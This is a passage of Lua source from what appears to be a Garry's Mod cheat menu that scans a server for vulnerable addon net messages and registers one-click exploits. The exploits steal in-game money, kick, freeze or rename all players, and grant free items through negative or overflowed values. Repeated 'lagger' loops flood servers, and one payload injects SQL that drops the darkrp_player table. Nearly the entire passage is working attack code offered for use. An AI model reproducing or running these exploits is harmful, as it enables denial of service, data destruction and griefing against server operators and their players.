2919 ECNotify("Starting")
2920 net.Start("NLR_SPAWN")
2921 net.WriteEntity(LocalPlayer())
2922 net.SendToServer()
2923 end)
2924 end
2925
2926 status = ValidNetString("Kun_ZiptieStruggle")
2927
2928 if (status) then
2929 ECPrint("Found Exploit: Break Handcuffs [Kun_ZiptieStruggle]")
2930
2931 addExploit("80", "Break Handcuffs", "Instantly breaks the handcuffs", function()
2932 surface.PlaySound("garrysmod/ui_click.wav")
2933 ECNotify("Starting")
2934
2935 for i = 0, 30 do
2936 net.Start("Kun_ZiptieStruggle")
2937 net.SendToServer()
2938 end
2939 end)
2940 end
2941
2942 status = ValidNetString("JB_Votekick")
2943
2944 if (status) then
2945 ECPrint("Found Exploit: Abuses Jailbreak Votekick [JB_Votekick]")
2946
2947 addExploit("81", "Abuses Jailbreak Votekick", "kick all players", function()
2948 surface.PlaySound("garrysmod/ui_click.wav")
2949 ECNotify("Starting")
2950
2951 for k, v in pairs(player.GetAll()) do
2952 net.Start("JB_Votekick")
2953 net.WriteEntity(v)
2954 net.WriteString("what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? ")
2955 net.SendToServer()
2956 end
2957 end)
2958 end
2959
2960 status = ValidNetString("Letthisdudeout")
2961
2962 if (status) then
2963 ECPrint("Found Exploit: ByB Force Bail [Letthisdudeout]")
2964
2965 addExploit("82", "ByB Force Bail", "exploit on all Byb servers to bail yourself out", function()
2966 surface.PlaySound("garrysmod/ui_click.wav")
2967 ECNotify("Starting")
2968 net.Start("Letthisdudeout")
2969 net.WriteEntity(LocalPlayer())
2970 net.SendToServer()
2971 end)
2972 end
2973
2974 status = ValidNetString("opr_withdraw")
2975
2976 if (status) then
2977 ECPrint("Found Exploit: Lagger #14 [opr_withdraw]")
2978
2979 addExploit("83", "Lagger #14", "discovered by Leith", function()
2980 surface.PlaySound("garrysmod/ui_click.wav")
2981 ECNotify("Starting")
2982
2983 timer.Create("lagger14", 0, 0, function()
2984 for i = 1, 1000 do
2985 net.Start("opr_withdraw", true)
2986 net.WriteEntity(LocalPlayer())
2987 net.SendToServer()
2988 end
2989 end)
2990 end)
2991 end
2992
2993 status = ValidNetString("NC_GetNameChange")
2994
2995 if (status) then
2996 ECPrint("Found Exploit: Change all names [NC_GetNameChange]")
2997
2998 addExploit("84", "Change all names", "allows you to change the rp names of all players", function()
2999 surface.PlaySound("garrysmod/ui_click.wav")
3000 inputFrameExists = true
3001 inputFrame = vgui.Create("DFrame")
3002 inputFrame:SetTitle("Enter the name")
3003 inputFrame:SetSize(400, 75)
3004 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
3005 inputFrame:SetDraggable(false)
3006 inputFrame:ShowCloseButton(true)
3007 inputFrame:MakePopup()
3008
3009 inputFrame.Paint = function(self, w, h)
3010 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
3011 end
3012
3013 local TextEntry = vgui.Create("DTextEntry", inputFrame)
3014 TextEntry:SetSize(380, 30)
3015 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
3016 TextEntry:SetText("AHAHAHAHAH")
3017
3018 TextEntry.OnEnter = function(self)
3019 surface.PlaySound("garrysmod/ui_click.wav")
3020 ECNotify("Starting")
3021
3022 for k, v in pairs(player.GetAll()) do
3023 net.Start("NC_GetNameChange")
3024 net.WriteEntity(v)
3025 net.WriteString((self:GetValue()))
3026 net.WriteString((self:GetValue()))
3027 net.SendToServer()
3028 end
3029 end
3030 end)
3031 end
3032
3033 status = ValidNetString("revival_revive_accept")
3034
3035 if (status) then
3036 ECPrint("Found Exploit: Reanimation #2 [revival_revive_accept]")
3037
3038 addExploit("85", "Reanimation #2", "instant revival, discovered by Leith", function()
3039 surface.PlaySound("garrysmod/ui_click.wav")
3040
3041 if not timer.Exists("exploit_revive") then
3042 ECNotify("Enabled")
3043
3044 timer.Create("exploit_revive", 0.5, 0, function()
3045 if not LocalPlayer():Alive() then
3046 net.Start("revival_revive_accept")
3047 net.SendToServer()
3048 end
3049 end)
3050 else
3051 timer.Remove("exploit_revive")
3052 ECNotify("Disabled")
3053 end
3054 end)
3055 end
3056
3057 status = ValidNetString("join_disconnect")
3058
3059 if (status) then
3060 ECPrint("Found Exploit: Lagger #15 [join_disconnect]")
3061
3062 addExploit("86", "Lagger #15", "b1g lags my duder", function()
3063 surface.PlaySound("garrysmod/ui_click.wav")
3064 ECNotify("Starting")
3065
3066 if not timer.Exists("lagger15") then
3067 timer.Create("lagger15", 0.5, 0, function()
3068 for i = 1, 3000 do
3069 net.Start("join_disconnect", true)
3070 net.WriteEntity(table.Random(player.GetAll()))
3071 net.SendToServer()
3072 end
3073 end)
3074 else
3075 timer.Remove("lagger15")
3076 ECNotify("Stopping")
3077 end
3078 end)
3079 end
3080
3081 status = ValidNetString("BuyFirstTovar")
3082
3083 if (status) then
3084 ECPrint("Found Exploit: Free Physgun [BuyFirstTovar]")
3085
3086 addExploit("87", "Free Physgun", "get physgun", function()
3087 surface.PlaySound("garrysmod/ui_click.wav")
3088 ECNotify("Take physgun")
3089 net.Start("BuyFirstTovar")
3090 net.WriteString("0")
3091 net.SendToServer()
3092 end)
3093 end
3094
3095 status = ValidNetString("BuySecondTovar")
3096
3097 if (status) then
3098 ECPrint("Found Exploit: Free Gravitygun [BuySecondTovar]")
3099
3100 addExploit("88", "Free Gravitygun", "get gravitygun", function()
3101 surface.PlaySound("garrysmod/ui_click.wav")
3102 ECNotify("Take gravitygun")
3103 net.Start("BuySecondTovar")
3104 net.WriteString("0")
3105 net.SendToServer()
3106 end)
3107 end
3108
3109 status = ValidNetString("MONEY_SYSTEM_GetWeapons")
3110
3111 if (status) then
3112 ECPrint("Found Exploit: Give Weapons #2 [MONEY_SYSTEM_GetWeapons]")
3113
3114 addExploit("89", "Give Weapons #2", "get weapons", function()
3115 surface.PlaySound("garrysmod/ui_click.wav")
3116 ECNotify("Starting")
3117
3118 for i = 1, 32 do
3119 net.Start("MONEY_SYSTEM_GetWeapons")
3120 net.WriteInt(i, 8)
3121 net.SendToServer()
3122 end
3123 end)
3124 end
3125
3126 status = ValidNetString("MCon_Demote_ToServer")
3127
3128 if (status) then
3129 ECPrint("Found Exploit: Demote All Players #2 [MCon_Demote_ToServer]")
3130
3131 addExploit("90", "Demote All Players #2", "demote all players", function()
3132 surface.PlaySound("garrysmod/ui_click.wav")
3133 ECNotify("Starting")
3134
3135 for k, v in pairs(player.GetAll()) do
3136 net.Start("MCon_Demote_ToServer")
3137 net.WriteString(v:SteamID())
3138 net.SendToServer()
3139 end
3140 end)
3141 end
3142
3143 status = ValidNetString("withdrawMoney")
3144
3145 if (status) then
3146 ECPrint("Found Exploit: Steal All Monies #3 [withdrawMoney]")
3147
3148 addExploit("91", "Steal All Monies #3", "withdraw money from all printers, discovered by Leith", function()
3149 surface.PlaySound("garrysmod/ui_click.wav")
3150 ECNotify("Starting")
3151
3152 for k, v in pairs(ents.GetAll()) do
3153 net.Start("withdrawMoney")
3154 net.WriteEntity(v)
3155 net.SendToServer()
3156 end
3157 end)
3158 end
3159
3160 status = ValidNetString("withdrawMoney")
3161
3162 if (status) then
3163 ECPrint("Found Exploit: Lagger #16 [withdrawMoney]")
3164
3165 addExploit("92", "Lagger #16", "discovered by Leith", function()
3166 surface.PlaySound("garrysmod/ui_click.wav")
3167 ECNotify("Starting")
3168
3169 timer.Create("lagger16", 0, 0, function()
3170 for i = 1, 1000 do
3171 net.Start("withdrawMoney", true)
3172 net.WriteEntity(LocalPlayer())
3173 net.SendToServer()
3174 end
3175 end)
3176 end)
3177 end
3178
3179 status = ValidNetString("SyncPrinterButtons76561198027292625")
3180
3181 if (status) then
3182 ECPrint("Found Exploit: Steal All Monies #4 [SyncPrinterButtons76561198027292625]")
3183
3184 addExploit("93", "Steal All Monies #4", "withdraw money from all printers", function()
3185 surface.PlaySound("garrysmod/ui_click.wav")
3186 ECNotify("Starting")
3187
3188 for k, v in pairs(ents.GetAll()) do
3189 net.Start("SyncPrinterButtons76561198027292625")
3190 net.WriteEntity(v)
3191 net.WriteUInt(2, 4)
3192 net.SendToServer()
3193 end
3194 end)
3195 end
3196
3197 status = ValidNetString("gPrinters.retrieveMoney")
3198
3199 if (status) then
3200 ECPrint("Found Exploit: Steal All Monies #5 [gPrinters.retrieveMoney]")
3201
3202 addExploit("94", "Steal All Monies #5", "withdraw money from all printers, discovered by Leith", function()
3203 surface.PlaySound("garrysmod/ui_click.wav")
3204 ECNotify("Starting")
3205
3206 for k, v in pairs(ents.GetAll()) do
3207 net.Start("gPrinters.retrieveMoney")
3208 net.WriteEntity(v)
3209 net.SendToServer()
3210 end
3211 end)
3212 end
3213
3214 status = ValidNetString("gPrinters.retrieveMoney")
3215
3216 if (status) then
3217 ECPrint("Found Exploit: Lagger #17 [gPrinters.retrieveMoney]")
3218
3219 addExploit("95", "Lagger #17", "discovered by Leith", function()
3220 surface.PlaySound("garrysmod/ui_click.wav")
3221 ECNotify("Starting")
3222
3223 timer.Create("lagger17", 0, 0, function()
3224 for i = 1, 1000 do
3225 net.Start("gPrinters.retrieveMoney", true)
3226 net.WriteEntity(LocalPlayer())
3227 net.SendToServer()
3228 end
3229 end)
3230 end)
3231 end
3232
3233 status = ValidNetString("NGII_TakeMoney")
3234
3235 if (status) then
3236 ECPrint("Found Exploit: Steal All Monies #6 [NGII_TakeMoney]")
3237
3238 addExploit("96", "Steal All Monies #6", "withdraw money from all printers", function()
3239 surface.PlaySound("garrysmod/ui_click.wav")
3240 ECNotify("Starting")
3241
3242 for k, v in pairs(ents.GetAll()) do
3243 net.Start("NGII_TakeMoney")
3244 net.WriteEntity(v)
3245 net.WriteEntity(LocalPlayer())
3246 net.SendToServer()
3247 end
3248 end)
3249 end
3250
3251 status = ValidNetString("money_clicker_withdraw")
3252
3253 if (status) then
3254 ECPrint("Found Exploit: Lagger #18 [money_clicker_withdraw]")
3255
3256 addExploit("97", "Lagger #18", "discovered by Leith", function()
3257 surface.PlaySound("garrysmod/ui_click.wav")
3258 ECNotify("Starting")
3259
3260 timer.Create("lagger18", 0, 0, function()
3261 for i = 1, 1000 do
3262 net.Start("money_clicker_withdraw", true)
3263 net.WriteEntity(LocalPlayer())
3264 net.SendToServer()
3265 end
3266 end)
3267 end)
3268 end
3269
3270 status = ValidNetString("opr_withdraw")
3271
3272 if (status) then
3273 ECPrint("Found Exploit: Steal All Monies #7 [opr_withdraw]")
3274
3275 addExploit("98", "Steal All Monies #7", "withdraw money from all printers", function()
3276 surface.PlaySound("garrysmod/ui_click.wav")
3277 ECNotify("Starting")
3278
3279 for k, v in pairs(ents.GetAll()) do
3280 net.Start("opr_withdraw")
3281 net.WriteEntity(v)
3282 net.SendToServer()
3283 end
3284 end)
3285 end
3286
3287 status = ValidNetString("NET_DoPrinterAction")
3288
3289 if (status) then
3290 ECPrint("Found Exploit: Steal All Monies #8 [NET_DoPrinterAction]")
3291
3292 addExploit("99", "Steal All Monies #8", "withdraw money from all printers", function()
3293 surface.PlaySound("garrysmod/ui_click.wav")
3294 ECNotify("Starting")
3295
3296 for k, v in pairs(ents.GetAll()) do
3297 if v:GetClass():find("print") then
3298 net.Start("NET_DoPrinterAction")
3299 net.WriteEntity(LocalPlayer())
3300 net.WriteEntity(v)
3301 net.WriteInt(2, 16)
3302 net.SendToServer()
3303 end
3304 end
3305 end)
3306 end
3307
3308 status = ValidNetString("tickbooksendfine")
3309
3310 if (status) then
3311 ECPrint("Found Exploit: Ticket Book [tickbooksendfine]")
3312
3313 addExploit("100", "Ticket Book", "allows you to write a fine to all players, discovered by Leith", function()
3314 surface.PlaySound("garrysmod/ui_click.wav")
3315 ECNotify("Starting")
3316 local reasonstable = {"NICE EXPLOIT, RIGHT? discord.gg/2cG6Mcp"}
3317
3318 for k, v in pairs(player.GetAll()) do
3319 if v ~= LocalPlayer() then
3320 net.Start("tickbooksendfine")
3321 net.WriteString(v:SteamID())
3322 net.WriteTable(reasonstable)
3323 net.WriteDouble(3000, 32)
3324 net.SendToServer()
3325 end
3326 end
3327 end)
3328 end
3329
3330 status = ValidNetString("SyncPrinterButtons16690")
3331
3332 if (status) then
3333 ECPrint("Found Exploit: Steal All Monies #9 [SyncPrinterButtons16690]")
3334
3335 addExploit("101", "Steal All Monies #9", "withdraw money from all printers", function()
3336 surface.PlaySound("garrysmod/ui_click.wav")
3337 ECNotify("Starting")
3338
3339 for k, v in pairs(ents.GetAll()) do
3340 if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
3341 net.Start("SyncPrinterButtons16690")
3342 net.WriteEntity(v)
3343 net.WriteUInt(2, 4)
3344 net.SendToServer()
3345 end
3346 end
3347 end)
3348 end
3349
3350 status = ValidNetString("withdrawp")
3351
3352 if (status) then
3353 ECPrint("Found Exploit: Steal All Monies #10 [withdrawp]")
3354
3355 addExploit("102", "Steal All Monies #10", "withdraw money from all printers", function()
3356 surface.PlaySound("garrysmod/ui_click.wav")
3357 ECNotify("Starting")
3358
3359 for k, v in pairs(ents.FindByClass("derma_printer")) do
3360 net.Start("withdrawp")
3361 net.WriteEntity(v)
3362 net.SendToServer()
3363 end
3364 end)
3365 end
3366
3367 status = ValidNetString("withdrawp")
3368
3369 if (status) then
3370 ECPrint("Found Exploit: Lagger #19 [withdrawp]")
3371
3372 addExploit("103", "Lagger #19", "discovered by Leith", function()
3373 surface.PlaySound("garrysmod/ui_click.wav")
3374 ECNotify("Starting")
3375
3376 timer.Create("lagger19", 0, 0, function()
3377 for i = 1, 1000 do
3378 net.Start("withdrawp", true)
3379 net.WriteEntity(LocalPlayer())
3380 net.SendToServer()
3381 end
3382 end)
3383 end)
3384 end
3385
3386 status = ValidNetString("DarkRP_SS_Gamble")
3387
3388 if (status) then
3389 ECPrint("Found Exploit: Free Money #3 [DarkRP_SS_Gamble]")
3390
3391 addExploit("104", "Free Money #3", "an exploit in the addon 'DarkRP Casino'", function()
3392 surface.PlaySound("garrysmod/ui_click.wav")
3393 ECNotify("Starting")
3394 net.Start("DarkRP_SS_Gamble")
3395 net.WriteInt(99999, 32)
3396 net.WriteInt(1, 32)
3397 net.WriteInt(0, 32)
3398 net.WriteInt(0, 32)
3399 net.WriteInt(1, 32)
3400 net.SendToServer()
3401 end)
3402 end
3403
3404 status = ValidNetString("PCAdd")
3405
3406 if (status) then
3407 ECPrint("Found Exploit: Delete Promocode [PCAdd]")
3408
3409 addExploit("105", "Delete Promocode", "delete all promocodes", function()
3410 surface.PlaySound("garrysmod/ui_click.wav")
3411 ECNotify("Starting")
3412 net.Start("PCAdd")
3413 net.WriteString("alahman")
3414 net.WriteString("300000000")
3415 net.SendToServer()
3416
3417 timer.Simple(3, function()
3418 net.Start("ActivatePC")
3419 net.WriteString("alahman")
3420 net.SendToServer()
3421 net.Start("PCDelAll")
3422 net.SendToServer()
3423 end)
3424 end)
3425 end
3426
3427 status = ValidNetString("viv_hl2rp_disp_message")
3428
3429 if (status) then
3430 ECPrint("Found Exploit: HL2 Disp Message [viv_hl2rp_disp_message]")
3431
3432 addExploit("106", "HL2 Disp Message", "hl2 voice commands", function()
3433 surface.PlaySound("garrysmod/ui_click.wav")
3434 ECNotify("Starting")
3435
3436 for name, command in pairs(dispatchCommands) do
3437 net.Start("viv_hl2rp_disp_message")
3438 net.WriteString(command)
3439 net.SendToServer()
3440 end
3441 end)
3442 end
3443
3444 status = ValidNetString("Kun_SellDrug")
3445
3446 if (status) then
3447 ECPrint("Found Exploit: Free Money #4 [Kun_SellDrug]")
3448
3449 addExploit("107", "Free Money #4", "get monies", function()
3450 surface.PlaySound("garrysmod/ui_click.wav")
3451
3452 if not timer.Exists("freemoney4") then
3453 ECNotify("Starting")
3454
3455 timer.Create("freemoney4", 0, 0, function()
3456 for i = 1, 1000 do
3457 net.Start("Kun_SellDrug")
3458 net.WriteString("mushroom")
3459 net.SendToServer()
3460 end
3461 end)
3462 else
3463 timer.Remove("freemoney4")
3464 ECNotify("Stopping")
3465 end
3466 end)
3467 end
3468
3469 status = ValidNetString("net_PSUnBoxServer")
3470
3471 if (status) then
3472 ECPrint("Found Exploit: Point Shop Unbox [net_PSUnBoxServer]")
3473
3474 addExploit("108", "Point Shop Unbox", "an exploit in the addon 'Point Shop", function()
3475 surface.PlaySound("garrysmod/ui_click.wav")
3476 ECNotify("Starting")
3477
3478 for k, v in pairs(player.GetAll()) do
3479 local i = 0
3480
3481 for k2, v2 in pairs(PS.Items) do
3482 if not v:PS_HasItem(v2.ID) then
3483 timer.Simple(k * i * 1.7, function()
3484 net.Start("net_PSUnBoxServer")
3485 net.WriteEntity(v)
3486 net.WriteString(v2.ID)
3487 net.SendToServer()
3488 end)
3489
3490 i = i + 1
3491 end
3492 end
3493 end
3494 end)
3495 end
3496
3497 status = ValidNetString("pplay_sendtable")
3498
3499 if (status) then
3500 ECPrint("Found Exploit: вў Fuck the SQL database вў [pplay_sendtable]")
3501
3502 addExploit("109", "вў Fuck the SQL database вў", "fuck all", function()
3503 surface.PlaySound("garrysmod/ui_click.wav")
3504 ECNotify("Starting")
3505 local tbl = {}
3506 tbl.tblname = "darkrp_door; DROP TABLE darkrp_player; CREATE TABLE darkrp_player(a STRING)"
3507 tbl.ply = LocalPlayer()
3508 net.Start("pplay_sendtable")
3509 net.WriteTable(tbl)
3510 net.SendToServer()
3511 end)
3512 end
3513
3514 status = ValidNetString("75_plus_win")
3515
3516 if (status) then
3517 ECPrint("Found Exploit: Free Money #5 [75_plus_win]")
3518
3519 addExploit("110", "Free Money #5", "get money", function()
3520 surface.PlaySound("garrysmod/ui_click.wav")
3521 ECNotify("Starting")
3522 net.Start("75_plus_win")
3523 net.WriteString("99999999")
3524 net.WriteEntity(LocalPlayer())
3525 net.SendToServer()
3526 end)
3527 end
3528
3529 status = ValidNetString("ATMDepositMoney")
3530
3531 if (status) then
3532 ECPrint("Found Exploit: Free Money #6 [ATMDepositMoney]")
3533
3534 addExploit("111", "Free Money #6", "an exploit in 'ATM'", function()
3535 surface.PlaySound("garrysmod/ui_click.wav")
3536 ECNotify("Starting")
3537 net.Start("ATMDepositMoney")
3538 net.WriteFloat(-9999999)
3539 net.SendToServer()
3540 end)
3541 end
3542
3543 status = ValidNetString("SellMinerals")
3544
3545 if (status) then
3546 ECPrint("Found Exploit: Free Money #7 [SellMinerals]")
3547
3548 addExploit("112", "Free Money #7", "an exploit in 'eMining'", function()
3549 surface.PlaySound("garrysmod/ui_click.wav")
3550 ECNotify("Starting")
3551
3552 for k, v in pairs(SkillDB) do
3553 if not (v.iSkill == true) then
3554 net.Start("Upgrade")
3555
3556 net.WriteTable({
3557 LuaName = v.LuaName,
3558 Amount = -9999999
3559 })
3560
3561 net.SendToServer()
3562 net.Start("SellMinerals")
3563
3564 net.WriteTable({
3565 Target = LocalPlayer()
3566 })
3567
3568 net.SendToServer()
3569 end
3570 end
3571 end)
3572 end
3573
3574 status = ValidNetString("TakeBetMoney")
3575
3576 if (status) then
3577 ECPrint("Found Exploit: Free Money #8 [TakeBetMoney]")
3578
3579 addExploit("113", "Free Money #8", "get money", function()
3580 surface.PlaySound("garrysmod/ui_click.wav")
3581 ECNotify("Starting")
3582 net.Start("TakeBetMoney")
3583 net.WriteTable({1e333333, 1e333333})
3584 net.SendToServer()
3585 end)
3586 end
3587
3588 status = ValidNetString("Kun_SellOil")
3589
3590 if (status) then
3591 ECPrint("Found Exploit: Free Money #9 [Kun_SellOil]")
3592
3593 addExploit("114", "Free Money #9", "get money", function()
3594 surface.PlaySound("garrysmod/ui_click.wav")
3595 ECNotify("Starting")
3596
3597 for k, v in pairs(ents.GetAll()) do
3598 net.Start("Kun_SellOil")
3599 net.WriteEntity(v)
3600 net.SendToServer()
3601 end
3602 end)
3603 end
3604
3605
3606 status = ValidNetString("DepositMoney")
3607
3608 if (status) then
3609 ECPrint("Found Exploit: Free Money #10 [DepositMoney]")
3610
3611 addExploit("115", "Free Money #10", "get money", function()
3612 surface.PlaySound("garrysmod/ui_click.wav")
3613 ECNotify("Starting")
3614 net.Start("DepositMoney")
3615
3616 for k, v in pairs(ents.GetAll()) do
3617 net.WriteEntity(v)
3618 net.WriteString(-100000000)
3619 net.WriteEntity(LocalPlayer())
3620 net.SendToServer()
3621 end
3622 end)
3623 end
3624
3625 status = ValidNetString("NET_SS_DoBuyTakeoff")
3626
3627 if (status) then
3628 ECPrint("Found Exploit: Free Money #11 [NET_SS_DoBuyTakeoff]")
3629
3630 addExploit("116", "Free Money #11", "get money", function()
3631 surface.PlaySound("garrysmod/ui_click.wav")
3632 ECNotify("Starting")
3633 net.Start("NET_SS_DoBuyTakeoff", true)
3634 net.WriteEntity(LocalPlayer())
3635 net.WriteEntity(table.Random(player.GetAll()))
3636 net.WriteTable({})
3637 net.WriteInt(-1000000000000000000000000000000000000000000000000000000000000000000, 16)
3638 net.SendToServer()
3639 end)
3640 end
3641
3642 status = ValidNetString("NET_EcSetTax")
3643
3644 if (status) then
3645 ECPrint("Found Exploit: Free Money #12 [NET_EcSetTax]")
3646
3647 addExploit("117", "Free Money #12", "get money", function()
3648 surface.PlaySound("garrysmod/ui_click.wav")
3649 ECNotify("Starting")
3650 net.Start("NET_EcSetTax")
3651 net.WriteInt(-9999999999, 16)
3652 net.SendToServer()
3653 end)
3654 end
3655
3656 status = ValidNetString("RP_Accept_Fine")
3657
3658 if (status) then
3659 ECPrint("Found Exploit: Free Money #13 [RP_Accept_Fine]")
3660
3661 addExploit("118", "Free Money #13", "get money", function()
3662 surface.PlaySound("garrysmod/ui_click.wav")
3663 ECNotify("Starting")
3664
3665 for k, v in pairs(player.GetAll()) do
3666 net.Start("RP_Accept_Fine")
3667 net.WriteString(v:Nick())
3668 net.WriteDouble(-999999999999)
3669 net.SendToServer()
3670 end
3671 end)
3672 end
3673
3674 status = ValidNetString("drugseffect_remove")
3675
3676 if (status) then
3677 ECPrint("Found Exploit: Remove Weapons [drugseffect_remove]")
3678
3679 addExploit("119", "Remove Weapons", "remove all weapons", function()
3680 surface.PlaySound("garrysmod/ui_click.wav")
3681 ECNotify("Starting")
3682 net.Start("drugseffect_remove")
3683 net.SendToServer()
3684 end)
3685 end
3686
3687 status = ValidNetString("drugs_money")
3688
3689 if (status) then
3690 ECPrint("Found Exploit: Remove Money [drugs_money]")
3691
3692 addExploit("120", "Remove Money", "remove all money", function()
3693 surface.PlaySound("garrysmod/ui_click.wav")
3694 ECNotify("Starting")
3695 net.Start("drugs_money")
3696 net.SendToServer()
3697 end)
3698 end
3699
3700 status = ValidNetString("CRAFTINGMOD_SHOP")
3701
3702 if (status) then
3703 ECPrint("Found Exploit: Free Money #14 [CRAFTINGMOD_SHOP]")
3704
3705 addExploit("121", "Free Money #14", "an exploit in 'crafting mod'", function()
3706 surface.PlaySound("garrysmod/ui_click.wav")
3707 ECNotify("Starting")
3708 net.Start("CRAFTINGMOD_SHOP")
3709
3710 net.WriteTable({
3711 BUY = -9999999,
3712 type = 1
3713 })
3714
3715 net.WriteInt(1, 16)
3716 net.SendToServer()
3717 end)
3718 end
3719
3720 status = ValidNetString("drugs_ignite")
3721
3722 if (status) then
3723 ECPrint("Found Exploit: Fire Players [drugs_ignite]")
3724
3725 addExploit("122", "Fire Players", "", function()
3726 surface.PlaySound("garrysmod/ui_click.wav")
3727 ECNotify("Starting")
3728 net.Start("drugs_ignite")
3729 net.WriteString("player")
3730 net.SendToServer()
3731 end)
3732 end
3733
3734 status = ValidNetString("drugs_ignite")
3735
3736 if (status) then
3737 ECPrint("Found Exploit: Fire Props [drugs_ignite]")
3738
3739 addExploit("123", "Fire Props", "", function()
3740 surface.PlaySound("garrysmod/ui_click.wav")
3741 ECNotify("Starting")
3742 net.Start("drugs_ignite")
3743 net.WriteString("prop_physics")
3744 net.SendToServer()
3745 end)
3746 end
3747
3748 status = ValidNetString("drugseffect_hpremove")
3749
3750 if (status) then
3751 ECPrint("Found Exploit: Change HP [drugseffect_hpremove]")
3752
3753 addExploit("124", "Change HP", "", function()
3754 surface.PlaySound("garrysmod/ui_click.wav")
3755 ECNotify("Starting")
3756 net.Start("drugseffect_hpremove")
3757 net.WriteString(99999)
3758 net.SendToServer()
3759 end)
3760 end
3761
3762 status = ValidNetString("drugs_text")
3763
3764 if (status) then
3765 ECPrint("Found Exploit: Delete All Props #2 [drugs_text]")
3766
3767 addExploit("125", "Delete All Props #2", "", function()
3768 surface.PlaySound("garrysmod/ui_click.wav")
3769 ECNotify("Starting")
3770 net.Start("drugs_text")
3771 net.WriteString("prop_physics")
3772 net.SendToServer()
3773 end)
3774 end
3775
3776 status = ValidNetString("drugs_give")
3777
3778 if (status) then
3779 ECPrint("Found Exploit: Give Everyone RPG [drugs_give]")
3780
3781 addExploit("126", "Give Everyone RPG", "", function()
3782 surface.PlaySound("garrysmod/ui_click.wav")
3783 ECNotify("Starting")
3784 net.Start("drugs_give")
3785 net.WriteString("weapon_rpg")
3786 net.SendToServer()
3787 end)
3788 end
3789
3790 status = ValidNetString("drugs_text")
3791
3792 if (status) then
3793 ECPrint("Found Exploit: Remove Water [drugs_text]")
3794
3795 addExploit("127", "Remove Water", "", function()
3796 surface.PlaySound("garrysmod/ui_click.wav")
3797 ECNotify("Starting")
3798 net.Start("drugs_text")
3799 net.WriteString("func_water_analog")
3800 net.SendToServer()
3801 end)
3802 end
3803
3804 status = ValidNetString("drugs_effect")
3805
3806 if (status) then
3807 local eye = LocalPlayer():GetEyeTrace().Entity
3808 local send = "del|" .. eye:EntIndex()
3809 ECPrint("Found Exploit: Remove looking at [drugs_effect]")
3810
3811 addExploit("128", "Remove looking at", "", function()
3812 surface.PlaySound("garrysmod/ui_click.wav")
3813 ECNotify("Starting")
3814 net.Start("drugs_effect")
3815 net.WriteString(send)
3816 net.SendToServer()
3817 end)
3818 end
3819
3820 status = ValidNetString("RecKickAFKer")
3821
3822 if (status) then
3823 ECPrint("Found Exploit: Kick Everyone #2 [RecKickAFKer]")
3824
3825 addExploit("129", "Kick Everyone #2", "kick all players", function()
3826 surface.PlaySound("garrysmod/ui_click.wav")
3827 ECNotify("Starting")
3828
3829 for k, v in pairs(player.GetAll()) do
3830 net.Start("RecKickAFKer")
3831 net.WriteEntity(v)
3832 net.SendToServer()
3833 end
3834 end)
3835 end
3836
3837 status = ValidNetString("GMBG:PickupItem")
3838
3839 if (status) then
3840 ECPrint("Found Exploit: Loot Items [GMBG:PickupItem]")
3841
3842 addExploit("130", "Loot Items", "", function()
3843 surface.PlaySound("garrysmod/ui_click.wav")
3844 ECNotify("Starting")
3845
3846 for k, v in pairs(ents.GetAll()) do
3847 if v:GetClass() == "item_loot" then
3848 net.Start("GMBG:PickupItem")
3849 net.WriteEntity(v)
3850 net.SendToServer()
3851 net.Start("GMBG:PickupItem")
3852 net.WriteEntity(v)
3853 net.SendToServer()
3854 net.Start("GMBG:PickupItem")
3855 net.WriteEntity(v)
3856 net.SendToServer()
3857 net.Start("GMBG:PickupItem")
3858 net.WriteEntity(v)
3859 net.SendToServer()
3860 net.Start("GMBG:PickupItem")
3861 net.WriteEntity(v)
3862 net.SendToServer()
3863 net.Start("GMBG:PickupItem")
3864 net.WriteEntity(v)
3865 net.SendToServer()
3866 end
3867 end
3868 end)
3869 end
3870
3871 status = ValidNetString("plyWarning")
3872
3873 if (status) then
3874 ECPrint("Found Exploit: Kick Everyone #3 [plyWarning]")
3875
3876 addExploit("131", "Kick Everyone #3", "kick all players", function()
3877 surface.PlaySound("garrysmod/ui_click.wav")
3878 ECNotify("Starting")
3879
3880 for k, v in pairs(player.GetAll()) do
3881 net.Start('plyWarning')
3882 net.WriteEntity(v)
3883 net.WriteString('You have to select a player before doing a action.')
3884 net.SendToServer()
3885 end
3886 end)
3887 end
3888
3889 status = ValidNetString("NLR.ActionPlayer")
3890
3891 if (status) then
3892 ECPrint("Found Exploit: Freeze Everyone [NLR.ActionPlayer]")
3893
3894 addExploit("132", "Freeze Everyone", "", function()
3895 surface.PlaySound("garrysmod/ui_click.wav")
3896 ECNotify("Starting")
3897
3898 for k, v in pairs(player.GetAll()) do
3899 net.Start("NLR.ActionPlayer")
3900 net.WriteEntity(v)
3901 net.SendToServer()
3902 end
3903 end)
3904 end
3905
3906 status = ValidNetString("kart_sell")
3907
3908 if (status) then
3909 ECPrint("Found Exploit: Free Money #15 [kart_sell]")
3910
3911 addExploit("133", "Free Money #15", "get money", function()
3912 surface.PlaySound("garrysmod/ui_click.wav")
3913 ECNotify("Starting")
3914
3915 for i = 1, 300 do
3916 net.Start("kart_sell")
3917 net.WriteString("sw_gokart")
3918 net.SendToServer()
3919 end
3920 end)
3921 end
3922
3923 status = ValidNetString("ClickerAddToPoints")
3924
3925 if (status) then
3926 ECPrint("Found Exploit: Free Points [ClickerAddToPoints]")
3927
3928 addExploit("134", "Free Points", "", function()
3929 surface.PlaySound("garrysmod/ui_click.wav")
3930 ECNotify("Starting")
3931 net.Start("ClickerAddToPoints")
3932 net.WriteInt(99999999, 32)
3933 net.SendToServer()
3934 end)
3935 end
3936
3937 status = ValidNetString("bodyman_model_change")
3938
3939 if (status) then
3940 ECPrint("Found Exploit: Body Groups [bodyman_model_change]")
3941
3942 addExploit("135", "Body Groups", "constantly changes your appearance", function()
3943 surface.PlaySound("garrysmod/ui_click.wav")
3944 ECNotify("Starting")
3945 local PM = 1
3946 local SK = 1
3947 local BG = 1
3948 local HN = 1
3949 local TS = 1
3950 local GL = 1
3951 local LG = 1
3952
3953 if not timer.Exists("bodygroups") then
3954 timer.Create("bodygroups", 0, 0, function()
3955 PlayerModels = {0, 1, 2, 3, 4, 5, 6}
